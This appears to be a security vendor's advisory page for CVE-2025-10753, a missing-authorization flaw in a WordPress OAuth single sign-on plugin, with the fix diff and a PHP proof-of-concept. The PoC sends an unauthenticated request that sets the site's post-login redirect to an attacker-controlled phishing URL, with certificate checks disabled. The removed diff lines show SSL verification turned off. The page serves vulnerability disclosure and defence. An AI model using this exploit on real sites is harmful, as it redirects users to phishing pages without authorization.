-		$resource_owner = MO_OAuth_Custom_OAuth1::mo_oidc1_get_access_token( sanitize_text_field( wp_unslash( $_COOKIE['tappname'] ) ) );
+		$resource_owner = MOOAuth_Custom_OAuth1::mo_oidc1_get_access_token( sanitize_text_field( wp_unslash( $_COOKIE['tappname'] ) ) );
 		$username       = '';
 		$email          = '';
 		update_option( 'mo_oauth_attr_name_list', $resource_owner );
@@ -516,21 +513,17 @@
 			wp_set_current_user( $user->ID );
 			wp_set_auth_cookie( $user->ID );
 			$user = get_user_by( 'ID', $user->ID );
-			do_action( 'wp_login', $user->user_login, $user );
+			do_action( 'wp_login', $user->user_login, $user ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 			MOOAuth_Debug::mo_oauth_log( 'User logged-in.' );

-			$redirect_to = get_option( 'mo_oauth_redirect_url' );
-
-			if ( false === $redirect_to ) {
-				$redirect_to = home_url();
-			}
+			$redirect_to = home_url();

 			wp_safe_redirect( $redirect_to );
 			exit;
 		}
 	} elseif ( ( strpos( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), '/wp-json/moserver/token' ) === false && ! isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( strpos( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), '/oauthcallback' ) !== false || isset( $_REQUEST['code'] ) ) ) || ( ! empty( $_SERVER['REQUEST_URI'] ) && strpos( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), 'openid.ns' ) !== false ) ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
 		if ( session_id() === '' || ! isset( $_SESSION ) ) {
-			session_start();
+			@session_start();
 		}
 		MOOAuth_Debug::mo_oauth_log( 'OAuth plugin catched the flow, $_REQUEST array=>' );
 		MOOAuth_Debug::mo_oauth_log( $_REQUEST ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL.
@@ -773,7 +766,7 @@
 					wp_set_current_user( $user->ID );
 					wp_set_auth_cookie( $user->ID );

-					$redirect_to = get_option( 'mo_oauth_redirect_url' );
+					$redirect_to = home_url();
 					if ( has_action( 'mo_hack_login_session_redirect' ) ) {
 						$token    = mooauth_gen_rand_str();
 						$password = mooauth_gen_rand_str();
@@ -785,13 +778,9 @@
 						do_action( 'mo_hack_login_session_redirect', $user, $password, $token, $redirect_to );
 					}
 					$user = get_user_by( 'ID', $user->ID );
-					do_action( 'wp_login', $user->user_login, $user );
+					do_action( 'wp_login', $user->user_login, $user ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 					MOOAuth_Debug::mo_oauth_log( 'User logged in, login cookie setted.' );

-					if ( false === $redirect_to ) {
-						$redirect_to = home_url();
-					}
-
 					wp_safe_redirect( $redirect_to );
 					exit;
 				}
@@ -983,7 +972,7 @@
  *
  * @return array valid html.
  **/
-function mo_oauth_get_valid_html( $args = array() ) {
+function mooauth_get_valid_html( $args = array() ) {
 	$retval = array(
 		'strong' => array(),
 		'em'     => array(),
--- a/miniorange-login-with-eve-online-google-facebook/class-mooauth.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mooauth.php
@@ -307,7 +307,7 @@
 				'blocking'    => true,
 				'headers'     => array(),
 				'cookies'     => array(),
-				'sslverify'   => false,
+				'sslverify'   => MO_OAuth_Utils::get_ssl_verify_setting( $url ),
 			)
 		);

@@ -685,10 +685,10 @@
 						$provider_se = null;

 						if ( ( filter_var( $discovery_endpoint, FILTER_VALIDATE_URL ) ) ) {
-							$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+							$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 							if ( ! empty( $newapp['realm'] ) && wp_remote_retrieve_response_code( $content ) !== 200 ) {
 								$discovery_endpoint = str_replace( '/auth', '', $discovery_endpoint );
-								$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+								$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 							}
 							$provider_se = array();
 							if ( ! is_wp_error( $content ) && wp_remote_retrieve_response_code( $content ) === 200 ) {
@@ -1247,7 +1247,6 @@
 		delete_option( 'mo_oauth_icon_height' );
 		delete_option( 'mo_oauth_icon_margin' );
 		delete_option( 'mo_oauth_icon_configure_css' );
-		delete_option( 'mo_oauth_redirect_url' );
 		delete_option( 'mo_oauth_attr_name_list' );
 		delete_option( 'mo_oauth_authorizations' );
 		delete_option( 'mo_oauth_set_val' );
@@ -1273,4 +1272,6 @@
 		delete_option( 'mo_oauth_login_icon_custom_color' );
 		delete_option( 'mo_oauth_login_icon_custom_boundary' );
 	}
+
+
 }
--- a/miniorange-login-with-eve-online-google-facebook/constants.php
+++ b/miniorange-login-with-eve-online-google-facebook/constants.php
@@ -41,6 +41,6 @@
 }

 if ( ! defined( 'MO_OAUTH_LOG_DIR' ) && function_exists( 'wp_upload_dir' ) ) {
-	$upload_dir = wp_upload_dir();
-	define( 'MO_OAUTH_LOG_DIR', $upload_dir['basedir'] . '/miniorange-login-with-eve-online-google-facebook' );
+	$mooauth_upload_dir = wp_upload_dir();
+	define( 'MO_OAUTH_LOG_DIR', $mooauth_upload_dir['basedir'] . '/miniorange-login-with-eve-online-google-facebook' );
 }
--- a/miniorange-login-with-eve-online-google-facebook/handler/class-mo-oauth-handler.php
+++ b/miniorange-login-with-eve-online-google-facebook/handler/class-mo-oauth-handler.php
@@ -95,7 +95,7 @@
 				'headers'     => $headers,
 				'body'        => $body,
 				'cookies'     => array(),
-				'sslverify'   => false,
+				'sslverify'   => MO_OAuth_Utils::get_ssl_verify_setting( $tokenendpoint ),
 			)
 		);
 		if ( is_wp_error( $response ) ) {
@@ -189,7 +189,7 @@
 		MOOAuth_Debug::mo_oauth_log( $headers );
 		MOOAuth_Debug::mo_oauth_log( 'Resource Owner Endpoint: ' . $resourceownerdetailsurl );

-		$response = wp_remote_post(
+		$response = wp_remote_get(
 			$resourceownerdetailsurl,
 			array(
 				'method'      => 'GET',
@@ -199,7 +199,7 @@
 				'blocking'    => true,
 				'headers'     => $headers,
 				'cookies'     => array(),
-				'sslverify'   => false,
+				'sslverify'   => MO_OAuth_Utils::get_ssl_verify_setting( $resourceownerdetailsurl ),
 			)
 		);

--- a/miniorange-login-with-eve-online-google-facebook/mo_oauth_settings.php
+++ b/miniorange-login-with-eve-online-google-facebook/mo_oauth_settings.php
@@ -10,9 +10,9 @@

 /**
  * Plugin Name: OAuth Single Sign On - SSO (OAuth Client)
- * Plugin URI: https://wordpress.org/plugins/miniorange-login-with-eve-online-google-facebook
+ * Plugin URI: https://www.miniorange.com
  * Description: This WordPress Single Sign-On plugin allows login into WordPress with your Azure AD B2C, AWS Cognito, Salesforce, Keycloak, Discord, WordPress or other custom OAuth 2.0 / OpenID Connect providers. WordPress OAuth Client plugin works with any Identity provider that conforms to the OAuth 2.0 and OpenID Connect (OIDC) 1.0 standard.
- * Version: 6.26.14
+ * Version: 6.26.15
  * Author: miniOrange
  * Author URI: https://www.miniorange.com
  * License: Expat
@@ -27,6 +27,7 @@
 require 'handler' . DIRECTORY_SEPARATOR . 'class-mo-oauth-handler.php';
 require_once dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'class-mooauth-widget.php';
 require 'class-mo-oauth-client-customer.php';
+require 'class-mo-oauth-utils.php';
 require plugin_dir_path( __FILE__ ) . 'includes' . DIRECTORY_SEPARATOR . 'class-mo-oauth-client.php';
 require 'views' . DIRECTORY_SEPARATOR . 'feedback-form.php';
 require 'admin' . DIRECTORY_SEPARATOR . 'partials' . DIRECTORY_SEPARATOR . 'setup_wizard' . DIRECTORY_SEPARATOR . 'handler' . DIRECTORY_SEPARATOR . 'class-mo-oauth-wizard-ajax.php';
@@ -35,12 +36,12 @@
 require 'constants.php';
 require 'admin' . DIRECTORY_SEPARATOR . 'partials' . DIRECTORY_SEPARATOR . 'mo_plugins' . DIRECTORY_SEPARATOR . 'autoload.php';
 require_once 'class-mooauth.php';
-define( 'MO_OAUTH_CSS_JS_VERSION', '6.26.14' );
+define( 'MO_OAUTH_CSS_JS_VERSION', '6.26.15' );
 define( 'MO_OAUTH_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );

-use MO_PluginsMO_REST_API_Advertisement;
+use MOOAuth_PluginsMO_REST_API_Advertisement;

-if ( class_exists( 'MO_PluginsMO_REST_API_Advertisement' ) ) {
+if ( class_exists( 'MOOAuth_PluginsMO_REST_API_Advertisement' ) ) {
 	MO_REST_API_Advertisement::get_instance();
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10753 - OAuth Single Sign On – SSO (OAuth Client) <= 6.26.14 - Missing Authorization

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$malicious_redirect = 'https://attacker-controlled-site.com/phishing';

// Construct the exploit URL
$exploit_url = $target_url . '/?option=oauthredirect&redirect_url=' . urlencode($malicious_redirect);

echo "[+] Target: $target_urln";
echo "[+] Exploit URL: $exploit_urln";

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[-] cURL Error: " . curl_error($ch) . "n";
} else {
    echo "[+] HTTP Response Code: $http_coden";
    
    // Check for successful exploitation indicators
    if ($http_code == 200 || $http_code == 302) {
        echo "[+] Potential exploitation successfuln";
        echo "[+] The global redirect URL may have been set to: $malicious_redirectn";
        echo "[+] Note: Verify by attempting OAuth login to see if redirect occursn";
    } else {
        echo "[-] Unexpected HTTP response coden";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School